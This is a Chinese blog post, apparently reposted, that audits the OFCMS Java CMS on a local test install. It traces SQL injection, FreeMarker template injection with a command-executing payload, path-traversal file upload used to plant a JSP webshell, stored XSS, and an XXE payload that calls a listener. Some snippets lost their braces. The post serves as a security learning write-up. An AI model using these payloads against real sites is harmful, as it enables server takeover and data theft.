Java代码审计之路一(OFCMS)

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java代码审计之路一(OFCMS)相关的知识,希望对你有一定的参考价值。

开启 Java 审计之路,从最基础的项目开始

文章目录

OFCMS

搭建环境

下载链接

  1. 导入项目

    使用 idea 导入文件,注意这里是导入不是直接打开

    import project 与 open 的区别
    import project:如果项目不是用 idea 开发的,用 import 打开。因为这个情况下,这个项目不是 idea 模型,使用 import 可以避免许多不必要的麻烦。
    open:如果项目之前就是 idea 开发的,直接用 open 即可

    可以在 idea 开始界面选择 import Project,或者在开启项目的情况下,选择以下路径(新版 idea 已经取消开始界面的导入选项,所以使用第二种方法就好)

    选择 maven

  2. 配置数据库密码

    新建数据库 ofcms,导入数据库文件,可以使用 navicat 或者 idea 自带的都可以

    在 ofcms-admin/src/main/resources/dev/conf/ 文件夹下 db.properties 文件,修改数据库的账号和密码

  3. 修改根目录 maven 项目依赖即 pom.xml 文件

    修改为合适版本,点击 import changes

  4. 配置 tomcat 服务

    添加 tomcat server local

    设置 tomcat 目录

    点击 deployment

    点击确定修改成功后下边的 appliaction context 就是文件目录,可以自定义修改

    配置成功后在 idea 右上角可以看到程序启动按钮为绿色

  5. 启动项目访问

站点地址:http://localhost:8080/ofcms-admin/

后台地址: http://localhost:8080/ofcms-admin/admin/login.html

账密:admin/123456

这是手动部署的方式,也可以选择下载 war 包以安装方式部署

为了方便调试代码,可以使用 SQL 监控工具查看数据库具体执行语句

推荐两个工具:

漏洞分析

拿到一个 Java 系统后首先分辨是 普通 servlet 还是 ssh/ssm 框架是否使用 maven 工程,如果使用的 maven 工程首先看 pom.xml 配置文件去对系统有一个整体的了解

漏洞位置为:ofcms-
admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

查看函数 getPara

可以发现这里使用自定义函数 getPara 来接收用户输入的参数,然后使用 updata 方法,进入 updata 方法

updata 方法是重载的,只需要看红框里的即可

再继续往下跟 MAIN.updata

可以发现输入的数据作为语句进行编译并且在 executeUpdate 处进行了执行

并且进行回显

有同学可能会感到疑问,这里不是用了预编译,不是预编译可以防止 SQL 注入么?

这里确实是用了预编译,但是这里没有正确使用,正确的方法如下

 public void select() 
        Connection connection = null;
         PreparedStatement preparedStatement = null;
        ResultSet rs = null;
        String sql = "select * from user limit 0,1";
        try 
            //获取数据连接
            connection = basicUse.getConnection();
            //获取发送sql指令执行sql对象
            preparedStatement = connection.prepareStatement(sql);
            //返回查询结果集用于保存数据库查询内容
            rs = preparedStatement.executeQuery();

发现漏洞点这里是将用户输入的语句直接编译执行,而不是作为编译的参数,所以语句可以正常执行

模板注入

模板注入可以说是 Java 中最常出现的漏洞,像 Struts2 的 OGNL 表达式注入,Spring SPEL 表达式注入,甚至 Log4j 的注入都可以认为是模板注入的范畴

浏览 pom.xml 的时候发现存在模版引擎 freemarker,该模版是存在模版注入的

freemarker 模板注入

通过前台首页找到对应的模版

回到系统中找到该模版,然后直接使用 payload 执行系统命令,这里执行的命令是 whoami

<#assign ex="freemarker.template.utility.Execute"?new()> 
  $ ex("calc") 

成功执行命令

文件上传

前台位置

代码位置

在 com.ofsoft.cms.admin.controller.cms.TemplateController 类的 save 方法中

和模板注入一样,没有对文件名和内容进行过滤,可以通过 …/ 向服务器写任意文件

尝试写一个 jsp 文件

直接 F12 改这里的 value 就可以修改文件名了,不行的话再用 burp

在 tomcat 目录下可以发现已经写入成功

直接用冰蝎连接

XSS

在 1.1.3 版本中新增文章评论功能,该功能存在 xss

在 save 方法中调用了 getParamsMap 方法,这个方法是用来获取用户提交的所有参数的,获取到所有参数后就调用Db.update()方法将数据更新到数据库中,这里是没有进行过滤

抓取用户评论的请求数据包,修改 comment_content 内容为 xss payload:<script>alert(1)</script>,提交数据包

XXE

在 com.ofsoft.cms.admin.controller.ReprotAction 类的 expReport 方法中,通过 get 参数接收 j,并且没有过滤,底下还进行了拼接,可以通过传入 …/ 来控制路径,后边调用了 compileReport 函数

在 compileReport 方法中又调用了JRXmlLoader.load()方法,继续跟踪

在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档内容,默认是没有禁用外部实体解析的,所以这里是存在XXE漏洞的


因为在一开始路径拼接了 jrxml,所以说要利用的话也用这个文件,可以先生成一个文件,文件内容如下

<!DOCTYPE foo <!ENTITY % xxe SYSTEM "http://127.0.0.1:7777"> %xxe; ]>

http://localhost:8080/ofcms_admin/admin/reprot/expReport.html?j=../../static/payload

使用 python 启动一个简单的服务器,访问 url 即可收到请求

参考:

P神代码审计
记又一次Java代码审计

以上是关于Java代码审计之路一(OFCMS)的主要内容,如果未能解决你的问题,请参考以下文章

[JAVA代码审计]OFCMS路径遍历漏洞

[JAVA代码审计]OFCMS路径遍历漏洞

[Java审计]OFCMS命令注入漏洞

[Java审计]OFCMS命令注入漏洞

[甲方安全建设之路]自动化代码审计系统

Java代码审计之路二(SSRF漏洞审计)